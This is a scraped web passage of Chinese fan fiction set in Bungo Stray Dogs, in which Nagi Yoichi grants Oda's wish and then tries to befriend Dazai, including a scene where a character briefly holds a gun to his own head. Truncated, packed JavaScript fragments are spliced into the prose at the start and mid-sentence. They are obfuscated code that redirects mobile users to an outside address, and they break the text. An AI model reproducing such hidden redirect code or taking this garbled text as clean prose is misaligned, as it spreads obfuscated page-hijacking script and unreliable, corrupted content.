d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233092|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一倏地抬起了头。 “织田君,有梦想吗?” 织田作之助被他的热情冲得一愣,忽然想起组织内部的一些传闻,与孩子们曾告知他的只言片语。 ——“能实现他人愿望”的诡异能力。 力量来源未知,副作用未知,在进入组织之前,他身上似乎就有这样的传闻。 不过,在组织内许多下级成员的眼中,凪夜一更像首领招回来的杀戮机器,即便有人相信这个传闻,也基本没人敢向他搭话。 难得有机会。 红发青年如此想着,开口问道:“向你的异能许愿,需要付出什么代价?” “微不足道。”凪夜一说,“只是些许愿力罢了。越想要心愿实现,愿力就越强,除了这些愿力,许愿人不需要付出任何实质性的代价。” 织田作之助神情凝重的思考了一下。 “听起来美好得像是白日做梦。”他评价道。 “嗯。”凪夜一道,“这就是我的异能,【白日长梦】。” “很贴切的名字。” 只可惜…… 织田作之助用遗憾的语气道:“你的异能对它应该不起作用。” 凪夜一想了想,没有打包票,而是谨慎地道:“你可以先说。” 织田作之助点了点头,道:“我的梦想是,有朝一日能脱离港口mafia,成为一名小说家。” 凪夜一以为自己会听到什么极难实现的愿望,坐直了身体打起了十二分的精神。谁知道听到的结果与预想中的完全是两回事,他的神色呆滞片刻,眨了一下眼睛,口中蹦出两个字:“简单。” 织田作之助:“嗯?” 紧接着,他看见少年的左手用极快的速度在他腰后一晃。织田作之助别在腰后的枪套一轻,黑色的便携式手|枪被那只手抽出来,枪身勾着苍白的手指打了个漂亮的转。随后,手|枪上膛,漆黑的枪口抵上了太阳穴——凪夜一的。 少年用枪指着自己,一双眼睛毫无波澜,仿佛手里拿着的不是令人见之色变的杀人利器,又似乎根本不惧怕被它击中的后果。 织田作之助没顾得上安抚一旁惊得一呆的老板,视线钉在凪夜一身上,瞳孔微微缩紧。 “只需要一枪,”凪夜一镇定地道,“织田作之助就会从这个世界上消失。我能给你一个全新的、合乎世界规则的身体与身份,你可以离开mafia,作为一名小说家活下去。” “当然,旧的身份我会帮你完全抹除。如果你想,我也可以试着抹掉其他人记忆里有关你的部分……” 面前摊开了一只宽大的手掌,这个动作打断了他的叙述。 红发青年叹了口气,露出罕见的无奈神色:“把枪放下来。这样很危险。” 凪夜一顿了一下,顺从地垂下头,把枪递回他手里。为了防止这个情况再次发生,织田作之助将弹夹直接拆了下来,而后才重新放回腰后的枪套内。 顶着凪夜一存在感极强的眼神,织田作之助勇敢地表示拒绝:“谢谢你的心意。不过,我还是想作为‘织田作之助’光明正大地活下去。” 他还有没有说出口的话——重要的其实不是身份,而是如何洗净心灵和双手上沾染的鲜血与罪孽。 之所以没说,一是他不确定凪夜一能不能理解,二是不知道少年会不会提出什么骇人的新点子,恰如他只是说想离开□□,对方立刻就能想到换个身体这点一样。 聪明的孩子,在某些方面其实也很迟钝。和太宰一样。 他想。 要从旁观者的立场迈出一步吗? 还是维持原状比较好? “不过,我还有另一个愿望。”织田作之助道,“向你许愿,需要怎么做?” 凪夜一说:“伸出手。” 织田作之助照做。凪夜一也伸出手,两人做了个预备击掌的姿势,少年语调平稳地道:“说出自己的愿望,然后和我击掌。” 流程还挺简单的。 红发青年想。 “我的愿望是,凪夜一和太宰治成为朋友。” ——互相支撑着,在这个对你们来说长满毒沼的世界走下去吧。两个人一起的话,就不会再那么孤独了。 凪夜一的表情空白一瞬。他还没想好要不要把手收回来,咖喱店的门忽然被推开,孩子们笑闹着跑进来,其中一个不小心被门槛绊倒,失去平衡撞到白发少年身上,凪夜一的手往前一送—— 啪。 两只手掌贴合在一起,契约轻而易举地成立了。 雾气飘出来,用没见过世面似的语气惊叹两声:“这家伙身上的愿力真多啊……是类似于世界基石一类的吧!大单子啊!好好干吧夜一仔顺便一提这种事不在馆舍的效用范围内再加上那家伙无效化的优先级太高了馆舍完全帮不上忙——你知道的吧?” 凪夜一趴在桌上,好像跟死了没差。 39.魔幻横滨8 凪夜一正在面对他人生之中数一数二的难题——怎么和太宰治做朋友。 原本太宰治这三个字就不像是能和“朋友”扯上关系的类型,思及他对自己讨厌的态度,这件任务的难度可以说是地狱程度。 和织田作之助分开以后,凪夜一一脸懵地在街上走了很久,路过某一家报刊亭的时候,被某个封面吸引,停下脚步,默默地从矮架上抽出一本——《好朋友手册》。 他翻开手册看了看。 一分钟以后,他干脆利落地付了帐。 “三百日元。感谢惠顾!” 老板坐在报亭后面,睁大一双眼睛,视视线飘来飘去,稀罕地盯着他瞧。凪夜一镇定自若地把册子拿在手里,一边走,一边认真阅读起来。 手册只有巴掌大,有点像某种便携日记本。 纸张颜色花花绿绿的,一页只写一两行字,字的边上团着一些幼稚的简笔画。凪夜一翻开第一页,上面写道: [好朋友守则·其一:首先,确信你们是互相之间最好的朋友。] 凪夜一一手拿着册子,一手揣在兜里,视线逃避地离开了纸面。 第一步就卡住了。 他是太宰治的好朋友吗?不是。虽然不知道为什么,但太宰看见他不黑脸就不错了。 那么,太宰治是他的好朋友吗?还不是。但凪夜一很有觉悟,先拿出笔将“互相之间”几个字划掉,在守则一后面打了个待观察的圈。 又翻到第二页。 是一张粉色的纸片,一行字映入眼帘: [要时刻注意好朋友的心情,时常赠送一些能使他开心的小礼物。] 凪夜一陷入了死一般的沉默。片刻后,他折返回去,买了一本便携式的手记本,将《好朋友手册》重新揣回兜里,翻开手记本的第一页,郑重地写上标题: ——太宰治观察日记。 * 想要观察太宰治,第一步是要先找到他的踪迹。然而众所周知,太宰治除了任务时间,不经常在港.黑内部出没,甚至有时候会堂而皇之地翘掉一些不重要的工作,在横滨的各个地方乱晃。 以前有住所的时候,起码有个能找到人的地方,前段时间房子被炸了以后,太宰治搬进了本部的临时宿舍——这意味着,想找人都找不到了。 但凪夜一自有办法。他很快在一处巡警密集的自杀案发现场找到了太宰治,旁观他摆脱巡警的全部过程,最后目送他走进一家居酒屋。 凪夜一翻开手记本,写了三个字:喜欢酒。 紧接着,他站在居酒屋门外,伸出一根手指,将门帘掀开了一个小缝。雾气骂骂咧咧地分出一点,顺着他的指示飘到太宰治背后偷听菜单,随后,凪夜一的手记本上又多了个名词:蟹酒。蟹肉丼。 太宰治在晚上七点进入居酒屋。 晚上十一点的时候,居酒屋老板发出一声石破天惊的嚎哭:“不要死在这里啊!客人!” 凪夜一手里的笔头转得飞起:试图以饮酒过度自杀。 太宰治被救护车抬走了。经过简单的应急治疗,他在医院病床上陷入了短暂的沉睡。 凪夜一坐在他病床外的窗台上,角度非常微妙,身影几乎和黑夜融为一体。 雾气评价道:“你像个狂热分子。” 凪夜一抬头不解地看了它一眼。 “愿你理解,”少年道,“我正在为交一个好朋友而努力。” 话还没说完,背后的窗户忽然传来咔哒一声——凪夜一猛地被雾气扔进楼下开着窗的病房,贴地滚了一圈,后背撞上病床脚,在病人惶恐震惊的目光中就势一靠,笔速飞快地写道:警惕心极高。 楼上,太宰治顶着一张惨白如纸的脸关上窗户。 “喝多了酒的错觉吗……” 他喃喃几句,转身离开了窗边。 凪夜一非常勉强地爬上窗台,发现病房里已经空无一人了。他以一个危险的姿势挂在窗边,摸黑写道:生命力顽强。想学会飞檐走壁…… 顿了一下,他把自己暴.露的心声划掉,收起笔,直接松了手,从八楼的病房坠落下去。 在即将落地的前一刻,无数白色光带蔓延而出,包裹住少年的身体,消失在半空中。 ——严格来说,白日馆本体也算是一个大型空间系异能,往往能在意想不到的地方发挥意想不到的作用。 凪夜一的观察计划进行得如火如荼。 太宰在游戏厅闲晃的时候,变过装的凪夜一八风不动地坐在角落与他切磋。太宰在出任务的时候,凪夜一顶掉原本敌对狙击手的位置,透过高倍镜观察他的表情举止。 太宰入水的时候,凪夜一坐在沿途远离水面的高架桥上,记录他的心情和状态;太宰跑去作死当俘虏的时候,凪夜一提着枪背对着他冒充守卫——然后被中原中也的重力暴力轰飞了。 这个简易据点的墙像一张纸皮,轻而易举地被中原中也轰出巨大的破洞。 赭发少年踩着满地碎石进来,钴蓝色的眼睛在据点内部扫视一圈:“嘁……混蛋太宰!没死就赶紧出来!” 凪夜一藏在一个隐蔽的角落,伸出舌尖舔了一下嘴上被碎石滑破的伤口——随后,它愈合了。 太宰毫无干劲的声线从里面传来:“什么啊。居然是小矮人吗……” 中原中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244916|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也一脚重重踩下去,地面被踩出一片恐怖的蛛网型裂痕。 “啊?!你说什么?” “好可怕啊中原中也君。”太宰治毫无诚意地道,“顺带一提守卫全被你杀了,现在要怎么找牢房的钥匙?” 中原中也嗤了一声:“哪有那么麻烦。” 他直接把太宰治所在“单间”的铁门拧成一团。厚重的门扇发出令人牙酸的巨响,露出后面靠墙坐着的、神情阴郁的黑发少年。 中原中也扫了他一眼,抱起手臂。 “闲得跑到别人的牢房里来睡大觉,除了你也找不出第二个。”他纳罕地扬起一边眉毛,“快起来。你最近受什么刺激了?作死的频率显而易见地高啊。” “有些事情就算说出来你也不会懂的吧。”太宰治心不在焉地说。 “哈?!”中原中也炸毛了,“你不说别人怎么可能会懂啊!人长嘴不就是用来说话的吗?!” 太宰治看着他,好像惊讶于他终于说出一个像样的道理,看得中原中也的拳头紧了紧。 “也不是什么大事。”太宰治抖开手上形同虚设的手铐,“最近一直莫名有种被监视的感觉呢。” 中原中也拧起眉毛:“谁?” “幽灵吧。”太宰治说,“那种视线,不管是在吃饭、工作、执行任务,还是在水里、在高楼上,都能感觉到呢。” 中原中也松开眉头。“水里怎么可能有活人在看你啊。”他吐槽道,“你是出现幻觉了吧混蛋。” 太宰治忽然停下了脚步。 他一只眼睛幽幽地盯着中原中也,用格外令人恐惧的语气慢悠悠地道:“……这里也有哦。” 中原中也起了一身鸡皮疙瘩。他条件反射地停下脚步,身上浮现戒备的红光,却见太宰欠扁地一偏头:“骗你的。” “混蛋太宰!!!” 中原中也愤怒地挥出一拳,被早有预料的太宰躲开。两人在空地上你追我打,结局是赭发少年怒气冲冲地离开,太宰治一脸不出所料的神情,抱着手慢悠悠地晃出了事故地点。 早在太宰治和自己上司交谈的时候,凪夜一就离开了现场。 现在他独自一人坐在附近某个小公园的阶梯上,翻了翻自己记得厚厚的手记本,在后面新添了几条。楼梯旁的花坛里种了几棵树,树叶被风吹得沙沙的,倒影在砖道上摇曳。 忽然,凪夜一注意到他的身侧多了一条影子。一回头,竟然看见太宰治神不知鬼不觉地摸到了他身后,面孔笼罩在漆黑的阴影里,隐约能看见五官里一个模糊的笑。 “呀,尸体君。”他粘腻的声线如同贴着耳廓响起,“你现在在干什么呢?”